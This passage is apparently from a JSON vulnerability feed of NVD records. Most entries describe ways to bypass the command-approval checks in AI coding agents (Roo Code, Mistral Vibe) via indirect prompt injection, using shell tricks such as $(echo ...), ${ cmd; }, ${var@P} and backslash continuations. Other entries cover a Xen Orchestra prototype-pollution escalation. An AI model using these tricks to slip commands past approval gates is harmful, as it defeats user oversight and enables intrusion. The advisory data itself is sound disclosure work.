fixes.","publishedAt":"2026-10-13T19:18:44.337Z","updatedAt":"2026-10-14T17:18:24.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110207","asOf":"2026-10-14T17:18:24.100Z"},"epss":{"probability":0.00448,"percentile":0.3867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110207","type":"primary","publishedAt":"2026-10-13T19:18:44.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110206","cveId":"CVE-2026-110206","aliases":[],"kind":"vulnerability","title":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that allows attackers to auto-approve arbitrary shell commands by placing a command...","summary":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that allows attackers to auto-approve arbitrary shell commands by placing a command substitution in command position. Attackers using indirect prompt injection can submit commands like $(echo touch /tmp/x) that pass the echo allowlist check, causing the shell to execute the output without user approval.","detail":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that allows attackers to auto-approve arbitrary shell commands by placing a command substitution in command position. Attackers using indirect prompt injection can submit commands like $(echo touch /tmp/x) that pass the echo allowlist check, causing the shell to execute the output without user approval.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:44.157Z","updatedAt":"2026-10-16T23:16:59.687Z","regions":["Global"],"vendor":"roocode","product":"roo code","stacks":["Roocode","roo code"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110206","asOf":"2026-10-16T23:16:59.687Z"},"epss":{"probability":0.00506,"percentile":0.42926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110206&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110206","type":"primary","publishedAt":"2026-10-13T19:18:44.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110206&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110206, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110205","cveId":"CVE-2026-110205","aliases":[],"kind":"vulnerability","title":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that discards command substitutions placed next to * or ?","summary":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that discards command substitutions placed next to * or ? glob characters. Attackers using indirect prompt injection can craft commands like echo *$(...) that match allowlisted prefixes, executing denied commands without user approval when auto-approval is enabled.","detail":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that discards command substitutions placed next to * or ? glob characters. Attackers using indirect prompt injection can craft commands like echo *$(...) that match allowlisted prefixes, executing denied commands without user approval when auto-approval is enabled.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:44.003Z","updatedAt":"2026-10-15T19:03:59.183Z","regions":["Global"],"vendor":"roocode","product":"roo code","stacks":["Roocode","roo code"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110205","asOf":"2026-10-15T19:03:59.183Z"},"epss":{"probability":0.00506,"percentile":0.42926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110205","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110205","type":"primary","publishedAt":"2026-10-13T19:18:44.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110204","cveId":"CVE-2026-110204","aliases":[],"kind":"vulnerability","title":"Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to run denied shell commands because parseCommandLine() treats ${ command; }...","summary":"Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to run denied shell commands because parseCommandLine() treats ${ command; } substitutions as parameter expansions. Attackers using indirect prompt injection can embed denied commands inside an allowlisted command like echo to execute them without user approval on bash 5.3+ or ksh93.","detail":"Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to run denied shell commands because parseCommandLine() treats ${ command; } substitutions as parameter expansions. Attackers using indirect prompt injection can embed denied commands inside an allowlisted command like echo to execute them without user approval on bash 5.3+ or ksh93.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:43.857Z","updatedAt":"2026-10-15T19:05:21.397Z","regions":["Global"],"vendor":"roocode","product":"roo code","stacks":["Roocode","roo code"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110204","asOf":"2026-10-15T19:05:21.397Z"},"epss":{"probability":0.00506,"percentile":0.42926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110204","type":"primary","publishedAt":"2026-10-13T19:18:43.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110203","cveId":"CVE-2026-110203","aliases":[],"kind":"vulnerability","title":"Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to auto-approve denied shell commands by abusing quote-masking regex in...","summary":"Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to auto-approve denied shell commands by abusing quote-masking regex in parseCommandLine(). Attackers can use indirect prompt injection with escaped or single-quoted double quotes to hide command separators behind allowlisted prefixes like echo, executing commands without user approval.","detail":"Roo Code through 3.54.0 contains a command approval bypass vulnerability that allows attackers to auto-approve denied shell commands by abusing quote-masking regex in parseCommandLine(). Attackers can use indirect prompt injection with escaped or single-quoted double quotes to hide command separators behind allowlisted prefixes like echo, executing commands without user approval.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:43.707Z","updatedAt":"2026-10-15T19:06:19.323Z","regions":["Global"],"vendor":"roocode","product":"roo code","stacks":["Roocode","roo code"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110203","asOf":"2026-10-15T19:06:19.323Z"},"epss":{"probability":0.00506,"percentile":0.42926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110203&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110203","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110203","type":"primary","publishedAt":"2026-10-13T19:18:43.707Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110203&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110203, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110202","cveId":"CVE-2026-110202","aliases":[],"kind":"vulnerability","title":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in getCommandDecision() that allows attackers to auto-approve denied shell commands by prefixing them with...","summary":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in getCommandDecision() that allows attackers to auto-approve denied shell commands by prefixing them with a bare >& redirect. Attackers using indirect prompt injection can make the allowlist match a redirect target like echo while the shell runs the denied command on the developer machine.","detail":"Roo Code through 3.54.0 contains a command approval bypass vulnerability in getCommandDecision() that allows attackers to auto-approve denied shell commands by prefixing them with a bare >& redirect. Attackers using indirect prompt injection can make the allowlist match a redirect target like echo while the shell runs the denied command on the developer machine.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:43.543Z","updatedAt":"2026-10-15T19:09:07.040Z","regions":["Global"],"vendor":"roocode","product":"roo code","stacks":["Roocode","roo code"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110202","asOf":"2026-10-15T19:09:07.040Z"},"epss":{"probability":0.00403,"percentile":0.34302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110202","type":"primary","publishedAt":"2026-10-13T19:18:43.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110111","cveId":"CVE-2026-110111","aliases":[],"kind":"vulnerability","title":"Xen Orchestra before 6.9.0 contains an improper access control vulnerability that allows any authenticated user to become global administrator by abusing the unprotected...","summary":"Xen Orchestra before 6.9.0 contains an improper access control vulnerability that allows any authenticated user to become global administrator by abusing the unprotected vm.importFromEsxi and vm.importMultipleFromEsxi methods. Attackers can point xo-server at a malicious ESXi host serving a crafted .vmx file with __proto__.permission set, polluting Object.prototype so permission-less accounts inherit admin rights and enabling remote code execution.","detail":"Xen Orchestra before 6.9.0 contains an improper access control vulnerability that allows any authenticated user to become global administrator by abusing the unprotected vm.importFromEsxi and vm.importMultipleFromEsxi methods. Attackers can point xo-server at a malicious ESXi host serving a crafted .vmx file with __proto__.permission set, polluting Object.prototype so permission-less accounts inherit admin rights and enabling remote code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:43.107Z","updatedAt":"2026-10-13T19:30:29.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110111","asOf":"2026-10-13T19:30:29.797Z"},"epss":{"probability":0.00617,"percentile":0.49271,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110111&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110111","type":"primary","publishedAt":"2026-10-13T19:18:43.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110111&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110111, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109453","cveId":"CVE-2026-109453","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:33.393Z","updatedAt":"2026-10-16T17:17:31.603Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109453","asOf":"2026-10-16T17:17:31.603Z"},"epss":{"probability":0.00286,"percentile":0.20927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109453&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109453","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109453","type":"primary","publishedAt":"2026-10-13T19:18:33.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109453&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109453, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109429","cveId":"CVE-2026-109429","aliases":[],"kind":"vulnerability","title":"Mistral Vibe before 2.25.4 contains a command permission gate bypass vulnerability that allows attackers to execute arbitrary commands by hiding a command substitution inside a...","summary":"Mistral Vibe before 2.25.4 contains a command permission gate bypass vulnerability that allows attackers to execute arbitrary commands by hiding a command substitution inside a single-quoted variable value that tree-sitter-bash static parsing cannot detect. Attackers can craft input such as embedding a command substitution within a single-quoted variable and re-expanding it with the ${var@P} prompt-transform operator so bash's promptvars feature executes the hidden command at runtime while only the trailing allowlisted command is classified, resulting in silent arbitrary command execution with the privileges of the agent's terminal session.","detail":"Mistral Vibe before 2.25.4 contains a command permission gate bypass vulnerability that allows attackers to execute arbitrary commands by hiding a command substitution inside a single-quoted variable value that tree-sitter-bash static parsing cannot detect. Attackers can craft input such as embedding a command substitution within a single-quoted variable and re-expanding it with the ${var@P} prompt-transform operator so bash's promptvars feature executes the hidden command at runtime while only the trailing allowlisted command is classified, resulting in silent arbitrary command execution with the privileges of the agent's terminal session.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:33.250Z","updatedAt":"2026-10-16T23:16:58.633Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109429","asOf":"2026-10-16T23:16:58.633Z"},"epss":{"probability":0.00562,"percentile":0.4645,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109429&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109429","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109429","type":"primary","publishedAt":"2026-10-13T19:18:33.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109429&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109429, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109428","cveId":"CVE-2026-109428","aliases":[],"kind":"vulnerability","title":"Mistral Vibe before 2.25.5 contains a permission validation bypass vulnerability that allows attackers to execute unauthorized commands by exploiting a parsing discrepancy between...","summary":"Mistral Vibe before 2.25.5 contains a permission validation bypass vulnerability that allows attackers to execute unauthorized commands by exploiting a parsing discrepancy between tree-sitter-bash and bash in handling backslash-newline line continuations in the _extract_commands() function of bash.py. Attackers can craft a command string where tree-sitter-bash extracts only an allowlisted prefix such as cd while bash joins the line continuation into a materially different and hidden command such as a curl request, causing resolve_permission to grant ALWAYS permission while bash executes unauthorized arbitrary commands.","detail":"Mistral Vibe before 2.25.5 contains a permission validation bypass vulnerability that allows attackers to execute unauthorized commands by exploiting a parsing discrepancy between tree-sitter-bash and bash in handling backslash-newline line continuations in the _extract_commands() function of bash.py. Attackers can craft a command string where tree-sitter-bash extracts only an allowlisted prefix such as cd while bash joins the line continuation into a materially different and hidden command such as a curl request, causing resolve_permission to grant ALWAYS permission while bash executes unauthorized arbitrary commands.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:33.097Z","updatedAt":"2026-10-13T19:30:29.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109428","asOf":"2026-10-13T19:30:29.797Z"},"epss":{"probability":0.00509,"percentile":0.43161,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109428&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109428","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109428","type":"primary","publishedAt":"2026-10-13T19:18:33.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109428&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109428, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108471","cveId":"CVE-2026-108471","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 